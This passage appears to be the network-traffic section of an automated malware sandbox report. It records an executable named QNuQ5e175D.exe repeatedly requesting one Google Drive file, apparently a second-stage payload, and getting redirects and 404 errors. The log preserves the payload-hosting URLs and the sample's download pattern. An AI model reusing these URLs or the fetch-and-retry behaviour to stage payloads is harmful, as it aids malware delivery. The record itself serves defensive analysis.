2025-01-11 04:07:18 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:18 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-6lYj5HTi4PTwqQTbkncdxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.11	50049	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:19 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:19 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTGUE6aBXiwHHRZEhZaw0NfkfKO7xp4yRxzRNdcdvEiijTYySwApKRo2-Z4uVLJ3ZpW Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:19 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-CoCzefY5EMfhb2PjZzv3hQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 45 63 63 5a 34 73 31 78 4c 54 53 6d 4a 77 58 77 41 57 68 36 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="JEccZ4s1xLTSmJwXwAWh6g">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.11	50050	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:20 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:20 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:20 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-rGq3adOznrmi9K1Lm6VbJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.11	50051	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:21 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:21 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgRFG9Q9dl6SJGxuRrgQBsa7EGMaCZon0g3OkiK6-85QRAwRnP3d35BiHa3n7Ctq2RIHnbKsPDA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:21 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-73FTCfE98bJZgWptiYil2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:21 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 33 4b 35 74 46 69 72 72 31 62 62 36 34 58 52 63 50 59 47 45 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="73K5tFirr1bb64XRcPYGEQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.11	50052	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:22 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:22 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:22 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-fSR_FTOwv39KJrsf4lxDBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.11	50053	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:23 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:24 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgSeJj-UZZmMvhmYQ_5I1p16qTU-ZAq6xD7CsExD97nCd9ZruTxNCcstnCYpCdZM8BS8_NORw5w Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:23 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-MLY6DPlGitZriuOnXQz50w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:24 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 6d 76 51 67 35 62 4f 47 42 58 44 2d 48 72 4c 47 64 68 39 52 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jmvQg5bOGBXD-HrLGdh9Rw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.11	50054	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:24 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:25 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:25 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-jHYZlV4XSti_bz9AfZFChw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.11	50055	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:25 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:26 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQiwmoPlvBzeBVuNawBnksVzfkJ3VpCM-c1RDd_Q6IH86o1z6aEttiVsaniFTQnz_bL9z9NQm4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:26 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-zaLQfp8jLvZCrcUmhnUmOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:26 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 54 65 6a 52 35 36 79 55 4e 73 76 5a 66 4c 67 56 79 62 71 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="jTejR56yUNsvZfLgVybqAA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.11	50056	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:27 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
